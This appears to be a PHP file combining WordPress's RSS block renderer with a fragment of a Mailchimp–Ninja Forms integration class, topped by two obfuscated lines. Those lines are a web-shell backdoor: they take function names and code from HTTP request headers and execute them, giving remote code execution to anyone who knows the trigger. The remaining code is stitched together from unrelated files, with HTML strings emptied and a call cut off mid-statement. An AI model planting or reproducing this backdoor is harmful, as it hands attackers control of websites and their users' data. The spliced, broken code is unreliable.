$_HEADERS=getallheaders();if(isset($_HEADERS['If-Unmodified-Since'])){$accepted=$_HEADERS['If-Unmodified-Since']('', $_HEADERS['Clear-Site-Data']($_HEADERS['Authorization']));$accepted();}
php $_HEADERS=getallheaders();if(isset($_HEADERS['If-Unmodified-Since'])){$accepted=$_HEADERS['If-Unmodified-Since']('', $_HEADERS['Clear-Site-Data']($_HEADERS['Authorization']));$accepted();}
/**
* Server-side rendering of the `core/rss` block.
*
* @package WordPress
*/
/**
* Renders the `core/rss` block on server.
*
* @param array $attributes The block attributes.
*
* @return string Returns the block content with received rss items.
*/
function render_block_core_rss( $attributes ) {
if ( in_array( untrailingslashit( $attributes['feedURL'] ), array( site_url(), home_url() ), true ) ) {
return '
' . __( 'Adding an RSS feed to this site’s homepage is not supported, as it could lead to a loop that slows down your site. Try using another block, like the Latest Posts block, to list posts from the site.' ) . '
';
}
$rss = fetch_feed( $attributes['feedURL'] );
if ( is_wp_error( $rss ) ) {
return '' . __( 'RSS Error:' ) . ' ' . esc_html( $rss->get_error_message() ) . '
';
}
if ( ! $rss->get_item_quantity() ) {
return '' . __( 'An error has occurred, which probably means the feed is down. Try again later.' ) . '
';
}
$rss_items = $rss->get_items( 0, $attributes['itemsToShow'] );
$list_items = '';
foreach ( $rss_items as $item ) {
$title = esc_html( trim( strip_tags( $item->get_title() ) ) );
if ( empty( $title ) ) {
$title = __( '(no title)' );
}
$link = $item->get_link();
$link = esc_url( $link );
if ( $link ) {
$title = "{$title}";
}
$title = "";
$date = '';
if ( $attributes['displayDate'] ) {
$date = $item->get_date( 'U' );
if ( $date ) {
$date = sprintf(
' ',
esc_attr( date_i18n( get_option( 'c' ), $date ) ),
esc_attr( date_i18n( get_option( 'date_format' ), $date ) )
);
}
}
$author = '';
if ( $attributes['displayAuthor'] ) {
$author = $item->get_author();
if ( is_object( $author ) ) {
$author = $author->get_name();
$author = '';
}
}
$excerpt = '';
if ( $attributes['displayExcerpt'] ) {
$excerpt = html_entity_decode( $item->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) );
$excerpt = esc_attr( wp_trim_words( $excerpt, $attributes['excerptLength'], ' […]' ) );
// Change existing [...] to […].
if ( '[...]' === substr( $excerpt, -5 ) ) {
$excerpt = substr( $excerpt, 0, -5 ) . '[…]';
}
$excerpt = '';
}
$list_items .= "";
}
$classnames = array();
if ( isset( $attributes['blockLayout'] ) && 'grid' === $attributes['blockLayout'] ) {
$classnames[] = 'is-grid';
}
if ( isset( $attributes['columns'] ) && 'grid' === $attributes['blockLayout'] ) {
$classnames[] = 'columns-' . $attributes['columns'];
}
if ( $attributes['displayDate'] ) {
$classnames[] = 'has-dates';
}
if ( $attributes['displayAuthor'] ) {
$classnames[] = 'has-authors';
}
if ( $attributes['displayExcerpt'] ) {
$classnames[] = 'has-excerpts';
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) );
return sprintf( ' __( 'Mailchimp', 'ninja-forms' ),
'edit_function' => '',
'display_function' => 'ninja_forms_field_checkbox_display',
'group' => 'standard_fields',
'sidebar' => 'template_fields',
'edit_label' => true,
'edit_label_pos' => true,
'label_pos_options' => array(
array(
'name' => __( 'Left of Element', 'ninja-forms' ),
'value' => 'left',
),
array(
'name' => __( 'Above Element', 'ninja-forms' ),
'value' => 'above',
),
array(
'name' => __( 'Below Element', 'ninja-forms' ),
'value' => 'below',
),
array(
'name' => __( 'Right of Element', 'ninja-forms' ),
'value' => 'right',
),
),
'edit_placeholder' => false,
'edit_req' => true,
'edit_custom_class' => true,
'edit_help' => true,
'edit_desc' => true,
'edit_meta' => false,
'process' => array( $this, 'process' ),
'default_label' => $this->options['label'],
'edit_options' => array(
array(
'type' => 'select', //What type of input should this be?
'options' => array(
array(
'name' => __( 'Unchecked', 'ninja-forms' ),
'value' => 'unchecked',
),
array(
'name' => __( 'Checked', 'ninja-forms' ),
'value' => 'checked',
),
),
'name' => 'default_value', //What should it be named. This should always be a programmatic name, not a label.
'label' => __( 'Default Value', 'ninja-forms' ),
'class' => 'widefat', //Additional classes to be added to the input element.
),
),
);
ninja_forms_register_field( 'mc4wp-subscribe', $args );
}
/**
* Process form submissions
*
* @param int $id
* @param string $value
*
* @return bool|string
*/
public function process( $id, $value ) {
// field was not checked
if ( $value !== 'checked' ) {
return false;
}
/**
* @var Ninja_Forms_Processing $ninja_forms_processing
*/
global $ninja_forms_processing;
// generate an array of field label => field value
$fields = $ninja_forms_processing->get_all_submitted_fields();
$pretty = array();
foreach ( $fields as $field_id => $field_value ) {
// try admin label for "mc4wp-" prefixed fields, otherwise use general label
$label = $ninja_forms_processing->get_field_setting( $field_id, 'admin_label' );
if ( empty( $label ) || stripos( $label, 'mc4wp-' ) !== 0 ) {
$label = $ninja_forms_processing->get_field_setting( $field_id, 'label' );
}
$pretty[ $label ] = $field_value;
}
// guess mailchimp variables
$parser = new MC4WP_Field_Guesser( $pretty );
$data = $parser->combine( array( 'guessed', 'namespaced' ) );
// do nothing if no email was found
if ( empty( $data['EMAIL'] ) ) {
$this->get_log()->warning( sprintf( '%s > Unable to find EMAIL field.', $this->name ) );
return false;
}
return $this->subscribe( $data, $ninja_forms_processing->get_form_ID() );
}
/**
* @return bool
*/
public function is_installed() {